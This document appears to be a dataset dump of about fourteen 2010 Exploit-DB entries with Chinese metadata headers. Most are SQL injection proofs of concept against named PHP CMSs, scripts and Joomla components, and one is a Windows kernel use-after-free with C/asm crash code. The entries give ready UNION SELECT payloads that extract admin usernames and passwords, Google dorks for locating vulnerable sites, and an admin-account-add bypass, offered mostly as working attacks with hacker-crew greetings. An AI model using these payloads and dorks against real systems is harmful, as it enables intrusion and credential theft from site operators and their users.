QLWD/code_shield huggingface dataset:
标题: iScripts EasySnaps 2.0 - Multiple SQL Injections EDB-ID: 14162 CVE: 2010-2624 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-01 漏洞利用脚本: iScripts EasySnaps 2.0 Multiple SQL Injection Vulnerabilities

 Name              iScripts EasySnaps
 Vendor            http://www.iscripts.com
 Versions Affected 2.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-01-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

EasySnaps is a commercial powerful image hosting site that
will help  you  in hosting your images besides providing a
large number of utilities.


II. DESCRIPTION

Some  fields  are not properly sanitised before being used
in SQL queries.


III. ANALYSIS

Summary:

 A) Blind SQL Injection
 B) SQL Injection
 

A) Blind SQL Injection

The comment parameter in add_comments.php is not  properly
sanitised before being used in a INSERT type SQL query. 


B) SQL Injection

The values parameter in tags_details.php (search form) is
not  properly  sanitised before used in a SQL query. This
can be  exploited  to manipulate SQL queries by injecting
arbitrary SQL code.
Successful exploitation requires  that \\\"magic_quotes_gpc\\\"
is disabled.

There  is  a  SQL  injection  that maybe may be exploited
bypassing  the  internal  filters in the begin parameter.
The affected file is greetings.php.

I tryed to test the upload forms for found arbitrary file
upload  flaws  but I could not do anything because of the
following error: \\\"Your Image Count is full!\\\".


IV. SAMPLE CODE

B) SQL Injection

POST /gallery/demo/tags_details.php HTTP/1.1
Host: site
Content-Type: application/x-www-form-urlencoded
Cookie: your_php_sessid
Content-Length: 84 

values=%25\\\' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#&jumb=Go

You can inject the previous code using the search form in
tags_details.php page.


V. FIX

No Fix. URL: https://www.exploit-db.com/exploits/14162
标题: Microsoft Windows Vista/2008 - NtUserCheckAccessForIntegrityLevel Use-After-Free EDB-ID: 14156 CVE: 2010-2549 类型: DOS 平台: WINDOWS 发布日期: 2010-07-01 漏洞利用脚本: Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-after-free Vulnerability

Intro:

Due to hostility toward security researchers, the most recent example being of Tavis Ormandy, a number of us from the industry (and some not from the industry) have come together to form MSRC: the Microsoft-Spurned Researcher Collective.  MSRC will fully disclose vulnerability information discovered in our free time, free from retaliation against us or any inferred employer.

Vulnerability report:

win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008 calls LockProcessByClientId() on the specified ClientID. When this call fails, the refcount will be first decremented by nt!ObfDereferenceObject and then by win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a refcount leak.  The refcount leak can be abused to have an in-use process object deleted. (use-after-free)

Some debugging info:

kd> vertarget
Windows Server 2008 Kernel Version 6002 (SP2)
kd> LM m win32k
start    end        module name
8d460000 8d663000   win32k
kd> BA e 1 8d58d710 \"dt nt!_OBJECT_HEADER @edx PointerCount; g\"
kd> g
   +0x000 PointerCount : 145
   +0x000 PointerCount : 144
   +0x000 PointerCount : 143
...
   +0x000 PointerCount : 3
   +0x000 PointerCount : 2
   +0x000 PointerCount : 1
*** Fatal System Error: 0x00000018
kd> kc
nt!KeBugCheck2
nt!ObfDereferenceObject
win32k!NtUserCheckAccessForIntegrityLevel
nt!KiFastCallEntry

The vulnerability can be triggered in one line below, where 4 is just the PID of PsInitialSystemProcess.

while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL);

Since there's no exported stub for this system call, you'll have to craft the call manually. sysenter is your friend.

http://j00ru.vexillium.org/win32k_syscalls/

POC:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
    /* get us some win32k! */
    LoadLibrary("user32");
    while (1) {
        __asm {
           mov eax, LEAK_ME
           push 0
           push 0
           push 4
           lea edx, dword ptr [esp]
           int 0x2e
        }
     }
}

Workaround:

Microsoft can workaround these advisories by locating the following registry key: HKCU\\Microsoft\\Windows\\CurrentVersion\\Security and changing the "OurJob" boolean value to FALSE.

We at MSRC would like to help you, the users, work around this issue, but PatchGuard will not allow us ;-(

Current MSRC Members (alphabetical order!):
XX XXXXXX
XXXX XXXXXXXX
XXXXX XXX
XXXXXXX XXXXXXX
XXXXXX XXXXXXXXX
XXXXX XXXXXXXX

If you wish to responsibly disclose a vulnerability through full disclosure or want to join our team, fire off an email to: msrc-disclosure () hushmail com

We do have a vetting process by the way, for any Microsoft employees trying to join ;-) URL: https://www.exploit-db.com/exploits/14156
标题: iScripts ReserveLogic 1.0 - SQL Injection EDB-ID: 14163 CVE: 2010-4980 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-01 漏洞利用脚本: iScripts ReserveLogic 1.0 SQL Injection Vulnerability

 Name              iScripts ReserveLogic
 Vendor            http://www.iscripts.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-01-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts  ReserveLogic  allows  independent  hotel/motels,
B&B,  time-shares,  campgrounds,  tour companies, etc., to
take  their  business truly online with online reservation
and customer management.


II. DESCRIPTION

A  numeric  field  is  not properly sanitised before being
used in a SQL query.


III. ANALYSIS

Summary:

 A) SQL Injection
 

A) SQL Injection

The  pid  parameter in packagedetails.php is  not properly
sanitised  before  being  used  in a SQL query. Successful
exploitation  requires  that  the  pid value exists in the
database, or rather that is a real package id.


IV. SAMPLE CODE

A) SQL Injection

http://site/path/packagedetails.php?pid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12%23


V. FIX

No Fix. URL: https://www.exploit-db.com/exploits/14163
标题: iScripts CyberMatch 1.0 - Blind SQL Injection EDB-ID: 14164 CVE: 2010-4983 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-02 漏洞利用脚本: iScripts CyberMatch 1.0 Blind SQL Injection Vulnerability

 Name              iScripts CyberMatch
 Vendor            http://www.iscripts.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-02-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts CyberMatch is a  turnkey  online dating software
for  you   to  start  a  full-fledged  dating  site  like
match.com or eHarmony in minutes. iScripts CyberMatch can
be used  to  create  your  own Dating, Personals or match
making Site, Adult or Matrimonial Site.


II. DESCRIPTION

A parameter is not properly sanitised before being used in
a SQL query.


III. ANALYSIS

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection

The id parameter in profile.php is not  properly sanitised
before being used in a SQL query. That  is  not  the query
which selects the information about the  user specified by
the id parameter but is the query that selects the image's
name. The affected query is a query of five fields.

When the injected condition is true, in  the  page will be
printed the  real  link  to the personal image of the user
specified  by  the  id  parameter,  otherwise  a  link  to
bignophoto.gif.

True condition:
http://site/path/images/profiles/id_random.jpg

False condition:
http://site/path/images/profiles/bignophoto.gif

Successful exploitation requires  that "magic_quotes_gpc"
is disabled and that the user specified by  id parameter
has posted an image.


IV. SAMPLE CODE

A) Blind SQL Injection

http://site/path/profile.php?id=10' UNION SELECT 1,2,3,4,5%23

http://site/path/profile.php?id=10' AND 1=1%23
http://site/path/profile.php?id=10' AND 1=0%23


V. FIX

No Fix. URL: https://www.exploit-db.com/exploits/14164
标题: Specialist Bed and Breakfast Website - SQL Injection EDB-ID: 14144 CVE: 2010-2623 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-30 漏洞利用脚本: # Exploit Title: Specialist Bed and Breakfast website SQL injection
Vulnerability
# Date: 30/06/2010
# Author: JaMbA
#Script url: http://www.internetdm.co.uk/site/pages.php?fid=0,1,356
# Version: **N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

http://server/path/pages.php?fid=0,1,472&pp_id=83[SQL]



===========================================================

Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz
-injecteur-4PY-Tunisian Power Team- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ==== URL: https://www.exploit-db.com/exploits/14144
标题: Joomla! Component Joomanager - SQL Injection EDB-ID: 14127 CVE: 2010-2622 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-30 漏洞利用脚本: Note from the vendor received 10Mar11:

The old code was using JReguest::GetVar and we change it to JReguest::GetInt so the catid must be an integer only and not text.

We updated this over 6 months ago in version 1.1.1


1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla joomanager SQli Vulnerability 
Date : june, 30 2010
Critical Level  : HIGH
Vendor Url : http://www.joomanager.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:


JooManager enables you to create a phenomenal real estate website for your clients so they can dominate the listing market!  Today's most successful Realtors have already realized that consumers are using search engines to buy and sell real estate. JoomProperty from its front end display to its extremely user-friendly backend technology, is built to adhere to search engines' best practices.

###############################################################################################################

Xploit: SQLi VUlnerability

 
DEMO URL : http://server/component/joomanager/?view=itemslist&catid=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14127
标题: Joomla! Component Gamesbox 1.0.2 - 'id' SQL Injection EDB-ID: 14126 CVE: 2010-2690 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-30 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
 Joomla Component com_gamesbox 1.0.2 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : June, 30-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Gamesbox
Version  : 1.0.2 Lower versions may also be affected
Vendor   : http://www.jooforge.com/
License  : GPL
Google Dork : inurl:com_gamesbox
Description :

Gamesbox is the innovative component developed for Joomla™ that allows 
you to manage a real and unique portal for videogames.
----------------------------------------------------------------

Exploit:
~~~~~~~
-9999+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8+from+jos_users--

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_gamesbox&view=consoles&layout=console&id=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14126
标题: Joomla! Component com_wmtpic 1.0 - SQL Injection EDB-ID: 14128 CVE: 2010-4968 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-30 漏洞利用脚本: 1                ###########################################           1
0                I'm **RoAd_KiLlEr**  member from Inj3ct0r Team        1
1                ###########################################           0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+]Title     : Joomla  Component  com_wmtpic  SQL Injection Vulnerability
[+]Author    : **RoAd_KiLlEr**
[+]Contact   : RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on : Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Vendor: http://www.webmaster-tips.net
[~] Download App:http://www.webmaster-tips.net/Download/View-details/9-Joomla-Components/183-Joomla-1.5-Flash-Gallery-wmtPic.html
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Flash based image gallery for Joomla. Joomla component wmtPic, with thumbnail support, caption and multiple file upload option. Although it is not a must, it is better to put a link back to this site "Joomla component by Webmaster-tips.net " on your website if you can. This Joomla 1.5 Component is licensed under the GPLv2.0.

=========================================

[+] Dork: inurl:"com_wmtpic"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_wmtpic&Itemid=[] <== SQL-i URL: https://www.exploit-db.com/exploits/14128
标题: PageDirector CMS - 'result.php' SQL Injection EDB-ID: 14112 CVE: 2010-2683 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
      PageDirector CMS (result.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : June, 29-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PageDirector CMS
Vendor   : http://www.customerparadigm.com/
Price  : $675.00
----------------------------------------------------------------

Exploit:
~~~~~~~
+and+1=2+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8,9,10,11,12+from+admin--

Poc:
~~~~~~~

http://127.0.0.1/[path]/result.php?catid=[xxx]&sub_catid=[SQLi]

**[xxx] = valid catid
----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14112
标题: WebDM CMS - SQL Injection EDB-ID: 14123 CVE: 2010-2689 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: WebDM CMS SQL Injection Vulnerability

  * EDB-ID: 
  * CVE: 
  * OSVDB-ID: 
  * Author: Dr.0rYX and Cr3w-DZ
  * Published: 
  * Verified: 
  * Exploit Code:   
  * Vulnerable App:    

****************************************************************************************************
*           _______       ___________.__                     ___________      .__                  *
*      ____ \   _  \______\__    ___/|  |__           _____  \_   _____/______|__| ____ _____      *
*     /    \/  /_\  \_  __ \|    |   |  |  \   ______ \__  \  |    __) \_  __ \  |/ ___\\__  \     *
*    |   |  \  \_/   \  | \/|    |   |   Y  \ /_____/  / __ \_|     \   |  | \/  \  \___ / __ \_   *
*    |___|  /\_____  /__|   |____|   |___|  /         (____  /\___  /   |__|  |__|\___  >____  /   *
*         \/       \/                     \/               \/     \/                  \/     \/    *
*                                      .__  __             __                                      *
*      ______ ____   ____  __ _________|__|/  |_ ___.__. _/  |_  ____ _____    _____               *
*     /  ___// __ \_/ ___\|  |  \_  __ \  \   __<   |  | \   __\/ __ \\__  \  /     \              *
*     \___ \\  ___/\  \___|  |  /|  | \/  ||  |  \___  |  |  | \  ___/ / __ \|  Y Y  \             *
*    /____  >\___  >\___  >____/ |__|  |__||__|  / ____|  |__|  \___  >____  /__|_|  /             *
*         \/     \/     \/                       \/                 \/     \/      \/              *
*                                                        Pr!v8 Expl0iT AND t00l **                 *                                                                  
*                                      ALGERIAN HACKERS                                            *      
*********************************- NORTH-AFRICA SECURITY TEAM -*************************************
 
[!]            WebDM CMS SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de<mailto:vx3@hotmail.de>  &  Cr3w@hotmail.de<mailto:Cr3w@hotmail.de>
 
***************************************************************************/
 
[ Software Information ]
 
[+] Vendor : http://www.internetdm.co.uk/
[+] script   : WebDM CMS 
[+] Download : http://www.internetdm.co.uk/site/cont_form.php?cf_id=1&fid=0,333 (sell script )
[+] Vulnerability : SQL injection
[+] Dork : inurl:"cont_form.php?cf_id="
 
**************************************************************************/
[ Vulnerable File ]
 
http://server/[path]/cont_form.php?cf_id=[N.A.S.T ]

http://server/cont_form.php?cf_id=[N.A.S.T ] 
 
[ Exploit ]
 
http://server/[path]/cont_form.php?cf_id=-1+union+select+1,2,3,4,5,6,7,8,Group_concat(uname,0x3a,pword),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+tblstr--


[  GReet ]
 
[+] :claw , Exploit-db.com ,Inj3ct0r.com , ALL HACKERS MUSLIMS URL: https://www.exploit-db.com/exploits/14123
标题: Ecomat CMS - SQL Injection EDB-ID: 14104 CVE: 2010-5029 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-06-29 漏洞利用脚本: Vulnerability ID: HTB22390
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_ecomat_cms.html
Product: Ecomat CMS
Vendor: Codefabrik GmbH
Vulnerable Version: 5.0 and Probably Prior Versions
Vendor Notification: 18 May 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "show" 
variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, 
compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL 
database.

Attacker can use browser to exploit this vulnerability. The following PoC is available: 


http://host/index.php?type=web〈=de&show=-1+union+select+user%28%29+--+&mhs=0 URL: https://www.exploit-db.com/exploits/14104
标题: YPNinc JokeScript - 'ypncat_id' SQL Injection EDB-ID: 14107 CVE: 2010-4972 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-29 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
      YPNinc JokeScript (ypncat_id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : June, 29-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : JokeScript
Vendor   : http://www.ypninc.com/
Price  : $89.95
----------------------------------------------------------------

Exploit:
~~~~~~~
-999+union+all+select+1,2,3,4,group_concat(ypnadmin_name,char(58),ypnadmin_pwd)v3n0m,6,7,8,9,10+from+ypnjks_admin--

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?ypncat_id=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14107
标题: PageDirector CMS - Multiple Vulnerabilities EDB-ID: 14089 CVE: 2010-2685 2010-2684 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-28 漏洞利用脚本: ###################################################################################
# Exploit Title : PageDirector CMS Multiple Vulnerabilities
# Date : 20 - 6 - 2010
# Author : Tr0y-x
# Vendor : www.customerparadigm.com
# Version : All Versions
# Tested on : Linux
# Home : WwW.SeC-WaR.CoM <http://www.sec-war.com/>
# Price : 675.00 $ << loooooolz
###################################################################################

-== SQL Injection Vulenrability ==-

PageDirector Script Contains A SQL Injection Vulenrability In (Index.php)
http://www.[site].com/[path]/index.php?id=[SQL]
[SQL] = UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin--

###################################################################################

-== Add Admin Vulenrability ==-

PageDirector Script Can Bypass The Login Page Of Admin And Add A New User
http://www.[site].com/[path]/siteadmin/adduser.php?mode=Add

###################################################################################

-== Greetz =-

G3n1ux - PrEdAtOr - xXx - Alnjm33 - xR57 - Ahmadso - Jamba - Dr.silent hill

FireStorm - Mr-Alsaeek - Mr.Viktoor

################################################################################### URL: https://www.exploit-db.com/exploits/14089